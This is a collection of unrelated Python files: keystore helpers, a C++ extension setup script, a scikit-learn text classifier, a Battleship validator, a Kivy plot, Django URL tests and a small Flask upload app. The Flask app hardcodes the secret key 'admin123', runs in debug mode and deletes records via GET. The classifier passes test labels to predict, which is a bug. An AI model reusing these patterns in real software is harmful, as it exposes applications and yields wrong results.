    def _get_foreign_keystore_dir(self, keystore_uid: UUID):
        foreign_keystore_dir = self._root_dir.joinpath(
            self.FOREIGN_KEYSTORES_DIRNAME, "%s%s" % (self.FOREIGN_KEYSTORE_PREFIX, keystore_uid)
        )
        return foreign_keystore_dir

    def _ensure_foreign_keystore_dir_exists(self, keystore_uid: UUID):  # Not always INITIALIZED
        foreign_keystore_dir = self._get_foreign_keystore_dir(keystore_uid=keystore_uid)
        if not foreign_keystore_dir.exists():
            foreign_keystore_dir.mkdir(parents=True, exist_ok=True)

    def get_foreign_keystore(self, keystore_uid: UUID, writable: bool = False):
        """The selected storage MUST exist, else a KeystoreDoesNotExist is raised."""
        foreign_keystore_dir = self._get_foreign_keystore_dir(keystore_uid=keystore_uid)
        if not foreign_keystore_dir.exists():
            raise KeystoreDoesNotExist("Key storage %s not found" % keystore_uid)
        klass = FilesystemKeystore if writable else ReadonlyFilesystemKeystore
        return klass(foreign_keystore_dir)

    def list_foreign_keystore_uids(self) -> list:
        """Return a sorted list of UUIDs of key storages, corresponding
        to the keystore_uid of their origin authentication devices."""
        foreign_keystores_dir = self._root_dir.joinpath(self.FOREIGN_KEYSTORES_DIRNAME)
        paths = foreign_keystores_dir.glob("%s*" % self.FOREIGN_KEYSTORE_PREFIX)  # This excludes TEMP folders
        return sorted([uuid.UUID(d.name.replace(self.FOREIGN_KEYSTORE_PREFIX, "")) for d in paths])

    def get_foreign_keystore_metadata(self, keystore_uid: UUID, include_keypair_identifiers=False):
        """Return a metadata dict for the keystore `keystore_uid`."""
        keystore = self.get_foreign_keystore(keystore_uid=keystore_uid)
        return keystore.get_keystore_metadata(include_keypair_identifiers=include_keypair_identifiers)

    def get_all_foreign_keystore_metadata(self, include_keypair_identifiers=False) -> dict:
        """Return a dict mapping key storage UUIDs to the dicts of their metadata.

        Raises if any metadata loading fails.
        """
        keystore_uids = self.list_foreign_keystore_uids()

        metadata_mapper = {}
        for keystore_uid in keystore_uids:
            assert isinstance(keystore_uid, UUID), keystore_uid
            metadata = self.get_foreign_keystore_metadata(
                keystore_uid, include_keypair_identifiers=include_keypair_identifiers
            )
            metadata_mapper[keystore_uid] = metadata

        return metadata_mapper

    def export_foreign_keystore_to_keystore_tree(self, keystore_uid: UUID, include_private_keys: bool = True):
        """
        Exports data tree from the keystore targeted by keystore_uid.
        """
        foreign_keystore = self.get_foreign_keystore(keystore_uid)
        keystore_tree = foreign_keystore.export_to_keystore_tree(include_private_keys)
        return keystore_tree

    def import_foreign_keystore_from_keystore_tree(self, keystore_tree: dict) -> bool:
        """
        Imports/updates data tree into the keystore targeted by keystore_uid.
        """
        self._ensure_foreign_keystore_dir_exists(keystore_tree["keystore_uid"])
        foreign_keystore = self.get_foreign_keystore(keystore_tree["keystore_uid"], writable=True)
        return foreign_keystore.import_from_keystore_tree(keystore_tree)

def generate_keypair_for_storage(  # FIXME document this, or integrate to class?
    key_algo: str, *, keystore, keychain_uid: Optional[UUID] = None, passphrase: Optional[AnyStr] = None
) -> dict:
    """
    Shortcut to generate an asymmetric keypair and store it into a key storage.

    `keychain_uid` is auto-generated if not provided.

    Returns the generated keypair dict.
    """
    keychain_uid = keychain_uid or generate_uuid0()
    keypair = generate_keypair(key_algo=key_algo, serialize=True, passphrase=passphrase)
    keystore.set_keypair(
        keychain_uid=keychain_uid,
        key_algo=key_algo,
        public_key=keypair["public_key"],
        private_key=keypair["private_key"],
    )
    return keypair

def generate_free_keypair_for_least_provisioned_key_algo(
    keystore: KeystoreWriteBase,
    max_free_keys_per_algo: int,
    keygen_func=generate_keypair,
    key_algos=SUPPORTED_ASYMMETRIC_KEY_ALGOS,
):
    """
    Generate a single free keypair for the key type which is the least available in key storage, and
    add it to storage. If the "free keys" pools of the storage are full, do nothing.

    :param keystore: the key storage to use
    :param max_free_keys_per_algo: how many free keys should exist per key type
    :param keygen_func: callable to use for keypair generation
    :param key_algos: the different key types (strings) to consider
    :return: True iff a key was generated (i.e. the free keys pool was not full)
    """
    assert key_algos, key_algos
    free_keys_counts = [(keystore.get_free_keypairs_count(key_algo), key_algo) for key_algo in key_algos]
    logger.debug("Count of current free keypairs: %s", str(free_keys_counts))

    (count, key_algo) = min(free_keys_counts)

    if count >= max_free_keys_per_algo:
        return False

    logger.debug("Generating new free keypair of type %s", key_algo)
    keypair = keygen_func(key_algo=key_algo, serialize=True)
    keystore.add_free_keypair(key_algo=key_algo, public_key=keypair["public_key"], private_key=keypair["private_key"])

    return True

def get_free_keypair_generator_worker(
    keystore: KeystoreWriteBase, max_free_keys_per_algo: int, sleep_on_overflow_s: float, **extra_generation_kwargs
) -> PeriodicTaskHandler:
    """
    Return a periodic task handler which will gradually fill the pools of free keys of the key storage,
    and wait longer when these pools are full.

    :param keystore: the key storage to use
    :param max_free_keys_per_algo: how many free keys should exist per key type
    :param sleep_on_overflow_s: time to wait when free keys pools are full
    :param extra_generation_kwargs: extra arguments to transmit to `generate_free_keypair_for_least_provisioned_key_algo()`
    :return: periodic task handler
    """

    @catch_and_log_exception("free_keypair_generator_task")
    def free_keypair_generator_task():
        has_generated = generate_free_keypair_for_least_provisioned_key_algo(
            keystore=keystore, max_free_keys_per_algo=max_free_keys_per_algo, **extra_generation_kwargs
        )
        # TODO - improve this with refactored multitimer, later
        if not has_generated:
            time.sleep(sleep_on_overflow_s)
        return has_generated

    periodic_task_handler = PeriodicTaskHandler(interval_s=0.001, task_func=free_keypair_generator_task)
    return periodic_task_handler


from setuptools import setup, find_namespace_packages, Extension
import numpy
import sys
import extnp

ext_cpp = Extension(
    # C++ extension module
    "extnp.algo.algo1_ext",
    include_dirs=[
        # Include Python header file
        *sys.path,
        # Include Numpy header file
        numpy.get_include(),
    ],
    # Relative path to C++ source files
    sources=[
        "extnp/algo/src/wrapper.cpp",
    ],
    # Platform-dependent compile args
    extra_compile_args=["/O2", "/std:c++17"],  # Windows
    language="c++",
)

setup(
    name="extnp",
    version=extnp.__version__,
    description=extnp.__description__,
    long_description=open("README.md").read(),
    long_description_content_type="text/markdown",
    author=extnp.__author__,
    author_email=extnp.__author_email__,
    url=extnp.__github_url__,
    packages=find_namespace_packages(),
    package_data={
        "": ["LICENSE", "README.md"],
    },
    install_requires=["numpy"],
    license="MIT",
    ext_modules=[ext_cpp],
)


#-*-encoding:utf-8-*-
from sklearn.datasets import load_iris,fetch_20newsgroups
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn.metrics import classification_report

li = load_iris()
# print(li.data)
# print(li.target)

'''
训练集
x_train
y_train
测试集
x_text
y_text
'''
x_train, x_text, y_train, y_text= train_test_split(li.data ,li.target , test_size = 0.25)

# print("训练集数据" ,x_train,y_train)
# print("测试集数据" , x_text,y_text)

# 拿出数据
news = fetch_20newsgroups(subset="all")
# 切分
x_train, x_text, y_train, y_text = train_test_split(news.data, news.target, test_size=0.25)

# 对数据进行过特征性的提取
tf = TfidfVectorizer()
x_train = tf.fit_transform(x_train)
print(tf.get_feature_names())
x_text = tf.transform(x_text)

# 进行朴素贝叶斯算法的 预测

nb = MultinomialNB(alpha=1.0)

nb.fit(x_train,y_train)
# 预测
_pred = nb.predict(y_text)

# 准确度
nb.score(x_text ,y_text)

# 精确率和召回率

classification_report(y_text ,_pred , target_names=news.target_names)


#######
#
# credential.py
#
# Contains the Mist API configuration variables used for the 'getLicense.py'

# =========
# VARIABLES
# =========

# This is the Mist API tocken that mustbe included with each Mist API call.
mist_api_token = "your mist api token"
mist_api_path = "https://api.mist.com"

# This is the Mist 'MSP Site ID' for the excercise.
msp_id = ""  # The Mist Demo MSP

# This is the HTTP headers used for each Mist API call
headers = {
    "Content-Type": "application/json",
    "Authorization": "Token " + mist_api_token,
}


# Write a method that takes a field for well-known board game "Battleship" as an argument and returns true if it has a valid disposition of ships, false otherwise. Argument is guaranteed to be 10*10 two-dimension array. Elements in the array are numbers, 0 if the cell is free and 1 if occupied by ship.

# Battleship (also Battleships or Sea Battle) is a guessing game for two players. Each player has a 10x10 grid containing several "ships" and objective is to destroy enemy's forces by targetting individual cells on his field. The ship occupies one or more cells in the grid. Size and number of ships may differ from version to version. In this kata we will use Soviet/Russian version of the game.

# Before the game begins, players set up the board and place the ships accordingly to the following rules:
# There must be single battleship (size of 4 cells), 2 cruisers (size 3), 3 destroyers (size 2) and 4 submarines (size 1). Any additional ships are not allowed, as well as missing ships.
# Each ship must be a straight line, except for submarines, which are just single cell.

# The ship cannot overlap or be in contact with any other ship, neither by edge nor by corner.

# This is all you need to solve this kata. If you're interested in more information

def check_ships(battleship, cruisers, destroyers, submarines):
    if battleship == 1 and cruisers == 2 and destroyers == 3 and submarines == 4:
        return True
    return False

def near_other_ships(board, i, j):
    if (j-1 >= 0 and board[i][j-1] == 2) or \
      (j-1 >= 0 and i-1>=0 and board[i-1][j-1] == 2) or \
      (i-1 >= 0 and board[i-1][j] == 2 ) or \
      (i-1 >= 0 and j+1 < len(board) and board[i-1][j+1] == 2) or \
      (j+1 < len(board) and board[i][j+1] == 2) or \
      (i+1 < len(board) and j+1 < len(board) and board[i+1][j+1] == 2 ) or \
      (i+1 < len(board) and board[i+1][j] == 2 ) or \
      (i+1 < len(board) and j-1>=0 and board[i+1][j-1] == 2):
        return True
    return False

def boat_check_row(board, i, j):
    count, square = 0, board[i][j]
    while square == 1 and j < 10:
        board[i][j] = 2
        count += 1
        j += 1
        if j < 10:
            square = board[i][j]
    return count

def boat_check_col(board, i, j):
    count, square = 0, board[i][j]
    while square == 1 and i < 10:
        board[i][j] = 2
        count += 1
        i += 1
        if i < 10:
            square = board[i][j]
    return count

def validate_battlefield(field):
    ships = { "bat": 0, "cru": 0, "des": 0, "sub": 0 }
    shipLengths = { 4: "bat", 3: "cru", 2: "des"}
    for i, row in enumerate(field):
        for j, square in enumerate(row):
            if square == 1:
                if near_other_ships(field, i, j):
                    return False
                across = boat_check_row(field, i, j)
                field[i][j] = 1
                down = boat_check_col(field, i, j)
                if across > 4 or down > 4:
                    return False
                if across == 1 and down == 1:
                    ships["sub"] += 1
                if across > down:
                    if down > 1:
                        return False
                    ships[shipLengths[across]] += 1
                if down > across:
                    if across > 1:
                        return False
                    ships[shipLengths[down]] += 1
    return check_ships(ships["bat"], ships["cru"], ships["des"], ships["sub"])


from math import sin
from kivy_garden.graph import Graph, MeshLinePlot
from kivy.app import App
from kivy.uix.boxlayout import BoxLayout

class MyApp(App):

    title = "Kivy Garden graph and MeshLinePlot "

    def build(self):
        return ThePlot()

class ThePlot(BoxLayout):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        #return Label(text='Hello world')
        graph = Graph(xlabel='X', ylabel='Y', x_ticks_minor=5,
            x_ticks_major=25, y_ticks_major=1,
            y_grid_label=True, x_grid_label=True, padding=5,
            x_grid=True, y_grid=True, xmin=-0, xmax=100,
            ymin=-1, ymax=1)
        plot = MeshLinePlot(color=[1, 0, 0, 1])
        plot.points = [(x, sin(x / 10.)) for x in range(0, 101)]
        graph.add_plot(plot)
        self.add_widget(graph)

if __name__ == '__main__':
    MyApp().run()


from http import HTTPStatus

from django.test import Client, TestCase
from django.urls import reverse
from posts.models import Group, Post, User

class PostURLTests(TestCase):
    @classmethod
    def setUpClass(cls):
        super().setUpClass()
        cls.user = User.objects.create_user(username='user')
        cls.author = User.objects.create_user(username='author')
        cls.group = Group.objects.create(
            title='Тестовая группа',
            slug='test-slug',
            description='Тестовое описание',
        )
        cls.post = Post.objects.create(
            author=cls.author,
            text='Тестовый пост',
            group=cls.group
        )

    def setUp(self):
        """Создание клиента гостя, авторизованного пользователя
        и автора поста.
        """
        self.guest_client = Client()
        self.authorized_client = Client()
        self.authorized_client.force_login(self.user)
        self.post_author = Client()
        self.post_author.force_login(self.author)

    def test_guest_have_access_to_public_pages_url(self):
        """Проверка статуса страниц для неавторизованного пользователя."""
        pages_url_status = {
            '/unexisting_page/': HTTPStatus.NOT_FOUND,
            '/': HTTPStatus.OK,
            f'/group/{self.group.slug}/': HTTPStatus.OK,
            f'/profile/{self.author}/': HTTPStatus.OK,
            f'/posts/{self.post.id}/': HTTPStatus.OK,
            '/create/': HTTPStatus.FOUND,
            f'/posts/{self.post.id}/edit/': HTTPStatus.FOUND,
            f'/posts/{self.post.id}/comment/': HTTPStatus.FOUND,
            '/follow/': HTTPStatus.FOUND,
            f'/profile/{self.user}/follow/': HTTPStatus.FOUND,
            f'/profile/{self.user}/unfollow/': HTTPStatus.FOUND
        }
        for url, expected in pages_url_status.items():
            with self.subTest(url=url):
                response = self.guest_client.get(url)
                self.assertEqual(response.status_code, expected)

    def test_guest_redirects_correct(self):
        """Проверка редиректов неавторизованного пользователя."""
        pages_url_redirect = {
            '/create/': reverse(
                'users:login') + '?next=/create/',
            f'/posts/{self.post.id}/edit/': reverse(
                'users:login') + f'?next=/posts/{self.post.id}/edit/',
            f'/posts/{self.post.id}/comment/': reverse(
                'users:login') + f'?next=/posts/{self.post.id}/comment/',
            '/follow/': reverse(
                'users:login') + '?next=/follow/',
            f'/profile/{self.user}/follow/': reverse(
                'users:login') + f'?next=/profile/{self.user}/follow/',
            f'/profile/{self.user}/unfollow/': reverse(
                'users:login') + f'?next=/profile/{self.user}/unfollow/'
        }
        for url, redirect_url in pages_url_redirect.items():
            with self.subTest(url=url):
                response = self.guest_client.get(url, follow=True)
                self.assertRedirects(response, redirect_url)

    def test_authorized_have_access_to_closed_pages_url(self):
        """"Проверка статуса страниц для авторизованного пользователя,
        автора поста.
        """
        pages_url_status = {
            '/create/': HTTPStatus.OK,
            f'/posts/{self.post.id}/edit/': HTTPStatus.OK,
            '/follow/': HTTPStatus.OK,
            f'/profile/{self.user}/follow/': HTTPStatus.FOUND,
            f'/profile/{self.user}/unfollow/': HTTPStatus.FOUND,
            f'/posts/{self.post.id}/comment/': HTTPStatus.FOUND,

        }
        for url, expected in pages_url_status.items():
            with self.subTest(url=url):
                response = self.post_author.get(url)
                self.assertEqual(response.status_code, expected)

    def test_edit_page_url_not_available_authorized_not_author(self):
        """Страница редактирования недоступна не-автору поста."""
        post_edit_page = f'/posts/{self.post.id}/edit/'
        response = self.authorized_client.get(post_edit_page)
        self.assertEqual(response.status_code, HTTPStatus.FOUND)

    def test_authorized_redirects_correct(self):
        """Проверка редиректов авторизованного пользователя,
        не-автора поста.
        """
        pages_url_redirect = {
            f'/posts/{self.post.id}/edit/': f'/posts/{self.post.id}/',
            f'/posts/{self.post.id}/comment/': f'/posts/{self.post.id}/',
            f'/profile/{self.user}/follow/': f'/profile/{self.user}/',
            f'/profile/{self.user}/unfollow/': f'/profile/{self.user}/'
        }
        for url, redirect_url in pages_url_redirect.items():
            with self.subTest(url=url):
                response = self.authorized_client.get(url)
                self.assertRedirects(response, redirect_url)

    def test_urls_use_correct_template(self):
        """URL-адрес использует соответствующий шаблон."""
        templates_url_names = {
            '/': 'posts/index.html',
            f'/group/{self.group.slug}/': 'posts/group_list.html',
            f'/profile/{self.author}/': 'posts/profile.html',
            f'/posts/{self.post.id}/': 'posts/post_detail.html',
            f'/posts/{self.post.id}/edit/': 'posts/create_post.html',
            '/create/': 'posts/create_post.html',
            '/follow/': 'posts/follow.html',
            '/unexisting_page/': 'core/404.html'
        }
        for url, template in templates_url_names.items():
            with self.subTest(url=url):
                response = self.post_author.get(url)
                self.assertTemplateUsed(response, template)


import datetime
import os
from flask import Flask,render_template,request,redirect,url_for,flash
from werkzeug.utils import secure_filename
import sqlite3 as sql
UPLOAD_FOLDER = 'static/uploads/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
@app.route('/retrieve')
def retrieve():
    con=sql.connect("user_db.db")
    con.row_factory=sql.Row
    cur=con.cursor()
    cur.execute("select * from user_table")
    data=cur.fetchall()
    return render_template('retrieve.html',datas=data)

@app.route('/create',methods=['POST','GET'])
def create():
    if request.method=='POST':
        name=request.form['name']
        contact=request.form['contact']
        file = request.files['file']
        if file and allowed_file(file.filename):
            filename_path = secure_filename(file.filename)
            split_filename_path = os.path.splitext(filename_path)
            ct = datetime.datetime.now()
            ts = ct.timestamp()
            new_filename_path = str(ts)+split_filename_path[1]
            disnation = os.path.join(app.config['UPLOAD_FOLDER'], new_filename_path)
            file.save(disnation)
            con=sql.connect("user_db.db")
            cur=con.cursor()
            cur.execute("insert into user_table(name,contact,filename) values(?,?,?)",[name,contact,new_filename_path])
            con.commit()
            flash('Data Saved','success')
            return redirect(url_for("retrieve"))
        else:
            flash('File formate must be png, jpg, jpeg and gif','warning')
            return render_template('create.html')
    return render_template('create.html')

@app.route('/update/<string:id>',methods=['POST','GET'])
def update(id):
    con=sql.connect("user_db.db")
    con.row_factory=sql.Row
    cur=con.cursor()
    cur.execute("select * from user_table where id=?",[id])
    data=cur.fetchone()
    if request.method=='POST':
        name=request.form['name']
        contact=request.form['contact']
        file = request.files['file']
        filename_path = secure_filename(file.filename)
        if filename_path == '':
            con=sql.connect("user_db.db")
            cur=con.cursor()
            cur.execute("update user_table set name=?,contact=? where id=?",[name,contact,id])
        else:
            if file and allowed_file(file.filename):
                split_filename_path = os.path.splitext(filename_path)
                ct = datetime.datetime.now()
                ts = ct.timestamp()
                new_filename_path = str(ts)+split_filename_path[1]
                disnation = os.path.join(app.config['UPLOAD_FOLDER'], new_filename_path)
                file.save(disnation)
                con=sql.connect("user_db.db")
                cur=con.cursor()
                cur.execute("update user_table set name=?,contact=?,filename=? where id=?",[name,contact,new_filename_path,id])
            else:
                flash('File formate must be png, jpg, jpeg and gif','warning')
                return render_template('update.html',datas=data)
        con.commit()
        flash('Data updated','success')
        return redirect(url_for("retrieve"))
    return render_template('update.html',datas=data)

@app.route('/delete/<string:id>',methods=['GET'])
def delete(id):
    con=sql.connect("user_db.db")
    con.row_factory=sql.Row
    cur=con.cursor()
    cur.execute("delete from user_table where id=?",[id])
    con.commit()
    flash('Data Deleted','warning')
    return redirect(url_for("retrieve"))

if __name__ =='__main__':
    app.secret_key='admin123'
    app.run(debug=True)


import urllib.request

def vekksort(liste):

	response = urllib.request.urlopen('https://s3-eu-west-1.amazonaws.com/knowit-julekalender-2018/input-vekksort.txt')
	#print(copies)
	numbers = []
	for line in response:
		numbers.append(int(line))

	current = numbers[0]
	for i in range(1, len(numbers)):
		if current <= numbers[i]:
			current = numbers[i]

		if current > numbers[i]:
			numbers[i] = 0

	#print(numbers)
	return sum(numbers)

print(vekksort("vekksort.txt"))